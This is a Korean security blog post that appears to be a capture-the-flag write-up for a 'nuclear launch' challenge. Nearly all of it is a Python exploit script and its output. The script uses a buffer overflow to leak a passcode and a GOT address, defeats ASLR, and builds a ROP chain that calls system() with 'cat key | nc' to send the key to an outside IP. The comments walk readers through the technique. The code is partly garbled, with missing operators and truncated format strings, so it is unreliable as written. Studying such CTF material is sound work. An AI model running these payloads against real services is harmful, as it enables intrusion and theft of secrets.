sweetchip's blog




nuclear_d4f699f3dbb8aadf7c224aa57f57eb4c


from socket import *

from struct import *

import time


p = lambda x : pack("

up = lambda x : unpack("

ip = "192.168.0.109"

ip = "58.229.183.22"

port = 1129


s = socket(AF_INET, SOCK_STREAM)

s.connect((ip, port))


launchcode = "in the end, i was there." # this is passkey


send_plt = 0x08048900

recv_plt = 0x080488e0

send_wrap = 0x08048a0d

recv_wrap = 0x08048a6f


mprotect_got = 0xb75f22b0

freespace = 0x0804b500


ppppr = 0x0804917c

pppr = ppppr 1

ppr = pppr 1

pr = ppr 1

r = pr 1


def leak_payload1():

payload = ""

payload = "1" * 500

payload = "/"

payload = "1" * 1000

return payload


def leak_payload2():

payload = ""

payload = "1."

payload = "1" * 500

payload = "/"

payload = "1" * 1000

return payload


def leak_setsock_got():

payload =""

payload = "A" * 0x20c

payload = "BBBB"


payload = p(send_wrap)

payload = p(ppr)

payload = p(4)

payload = p(0x0804b00c)


payload = p(0x08048b5b)

payload = p(pr)

payload = p(4)


payload = p(0x08048b5b)

payload = p(pr)

payload = p(4)


payload = p(0x08048b5b)

payload = p(pr)

payload = p(4)


payload = p(0x08048b5b)

return payload


def mpro_exploit(mprotect): # mprotect payload

payload =""

payload = "A" * 0x20c

payload = "BBBB"


payload = p(mprotect)

payload = p(pppr)

payload = p(freespace)

payload = p(3000)

payload = p(7)


payload = p(recv_wrap)

payload = p(pr)

payload = p(4)

payload = p(freespace)

payload = p(len(shellcode))


return payload


def sys_exploit(system):

payload =""

payload = "A" * 0x20c

payload = "BBBB"


payload = p(recv_wrap)

payload = p(pppr)

payload = p(4)

payload = p(freespace)

payload = p(len("cat key | nc 220.117.247.200 12071\x00"))


payload = p(system)

payload = p(pr)

payload = p(freespace)


payload = p(0x08048b5b)

return payload


#########################[START EXPLOIT]##############################

print s.recv(1024)

print s.recv(1024)

s.send("target\n")

print s.recv(1024)

s.send(leak_payload1() "\n") # try to leak

##################[End LEAK FILE NAME - 1]############################

print s.recv(4096)

print s.recv(4096)

s.send("target\n")

print s.recv(4096)

s.send(leak_payload2() "\n") # try to leak File name

##################[End LEAK FILE NAME - 2]############################

print s.recv(4096)

launchcode = s.recv(4096).split('\n')[0]

launchcode = launchcode[len(launchcode)-24:] # get launchcode

launchcode = "\n"

print "LEAKED NUCLEAR LAUNCH CODE IS : " launchcode

##################[End LEAK FILE NAME - 3]############################

s.send("launch")

print s.recv(4096)

s.send(launchcode)

print s.recv(1024)

s.send(leak_setsock_got())

print s.recv(1024)

time.sleep(1)

setsockopt = up(s.recv(1024)[0:4])

print hex(setsockopt)

print s.recv(1024)

##################[ End LEAK SETSOCK 'GOT' ]##########################

mprotect = setsockopt - 0x6810

system = setsockopt - 0xb2860

print hex(system)

#######################[ GOT SYSTEM PTR ]#############################

s.send(sys_exploit(system))

time.sleep(0.3)

s.send("cat key | nc 220.117.247.200 12071\x00")

time.sleep(0.3)

############################[ GET KEY ]###############################

s.recv(1024)

s.recv(1024)

s.recv(1024)

s.recv(1024)

s.recv(1024)

s.recv(1024)

s.recv(1024)

##########################[ End Of File ]#############################

"""


"in the end, i was there." # this is passkey


######################################################################

:: Welcome to the Nuclear Control System ::



>

[ ] Enter coordinate of target, (Latitude/Longitude)

--->

[ ] Target coordinate setting completed.


> [!] Unknown command : 11111111111111111111111111111111111111111111111111111111

11111111111111111111111111111111111111111111111111111111111111111111111111111111

11111111111111111111111111111111111111111111111111111111111111111111111111111111

11111111111111111111111111111111111111111111111111111111111111111111111111111111

11111111111111111111111111111111111111111111111111111111111111111111111111111111

11111111111111111111111111111111111111111111111111111111111111111111111111111111

11111111111111111111111111111111111111111111111111111111넁%P

> [!] Unknown command : 11111111111111111111111111111111111111111111111111111111

11111111111111111111111111111111111111111111111111111111111111111111111111111111

11111111111111111111111111111111111111111111111111111111111111111111111111111111

11111111111111111111111111111111111111111111111111111111111111111111111111111111

11111111111111111111111111111111111111111111111111111111111111111111111111111111

11111111111111111111111111111111111111111111111111111111111111111111111111111111

111111111111111111111


>

[ ] Enter coordinate of target, (Latitude/Longitude)

--->

[ ] Target coordinate setting completed.


LEAKED NUCLEAR LAUNCH CODE IS : in the end, i was there.


[ ] Enter the passcode to launch the nuclear :

[ ] Correct passcode!


[2J[0;0H[5;5HIF YOU WANT CANCEL THIS OPERATION, ENTER THE CANCEL CODE




COUNT DOWN : 100

0xb76a8ac0L

[5;5HIF YOU WANT CANCEL THIS OPERATION, ENTER THE CANCEL CODE




COUNT DOWN : 99

0xb75f6260L


C:\Users\Administrator>


C:\Users\Administrator>nc -lvp 12071

listening on [any] 12071 ...

58.229.183.22: inverse host lookup failed: h_errno 11004: NO_DATA

connect to [192.168.0.93] from (UNKNOWN) [58.229.183.22] 45227: NO_DATA

BUG_BOUNTIES_b3COM3_GrEAT

"""

# Key : BUG_BOUNTIES_b3COM3_GrEAT

##############################[ Result ]##############################


Key : BUG_BOUNTIES_b3COM3_GrEAT


처음에 mprotect로 시도하는데 잘 안되서 system으로 전환했더니 잘 된다.


이럴수가! [근데 cd80의 풀이를 보니 mprotect도 잘된는것 같았다... -_-]


신고

Comment 12

  • ba2ly
    2014.02.17 02:03 신고 수정 답글

    대회 풀이들 보면 되게 신기하네요
    이 문제 같은거 풀려면 무슨 공부가 필요한가요??

    • 2014.02.17 13:05 신고 수정

      위 문제는 리눅스에 대한 지식과 buffer overflow에 대한 지식, 그리고 plt, got 등 elf에 대한 구조에 대한 이해 등 이 필요할것 같습니다.

  • 2014.02.17 12:26 수정 답글

    비밀댓글입니다

    • 2014.02.17 13:02 신고 수정

      안녕하세요.

      exploit에 대한 간단한 흐름은

      1. passcode를 저장하는 버퍼의 내용을 유출시켜서 passcode를 알아내고
      2. 유출된 passcode를 입력합니다.
      3. 그다음엔 setsockopt[맞나..] 함수 주소를 유출시킵니다. [aslr 우회]
      4. 유출된 주소를 베이스로 -0xb2860만큼 빼서 system함수의 주소를 계산합니다.
      5. 계산한 주소를 이용하여 exploit을 작성합니다.

      위 exploit은 쉘코드를 이용하지 않으므로 nx는 우회할 필요 없었습니다.

    • 2014.02.17 13:04 신고 수정

      추가로 send_wrap은 ida나 gdb로 0x08048a0d 주소로 가시면 함수의 역할을 알 수 있습니다

      그냥 간단하게 말하면 인자를 넣어 값을 'send'해주는 함수입니다.

  • 2014.02.17 13:42 수정 답글

    비밀댓글입니다

  • ba2ly
    2014.02.17 14:21 신고 수정 답글

    리눅스에 대한 지식이라면
    우분투나 centos 공부인가요??

    • 2014.02.17 14:33 신고 수정

      네 기본적인 것 뿐만아니라 해킹기술과 elf 파일에 대한 구조에대한 공부도 필요합니다.

  • ba2ly
    2014.02.19 16:52 신고 수정 답글

    오호, 감사합니다
    근데 막 이것저것 검색해서 보고있는데 문서들이 다 너무 어렵네요 ;
    해킹기술엔 뭐가 있는지 그런건 어떻게 알게되는건가요?
    바쁘실텐대 궁금한게 많아서 죄송요..

  • 2014.02.19 19:27 수정 답글

    비밀댓글입니다

  • 2014.04.13 17:10 수정 답글

    비밀댓글입니다

    • 2014.04.26 00:04 신고 수정

      늦은 답변 죄송합니다.

      각각 ida에서 주소를 대조해보시면 어떤것인지 알 수 있으실 겁니다 ^^
      pr = pop + ret
      freespace = rw- or rwx 영역입니다.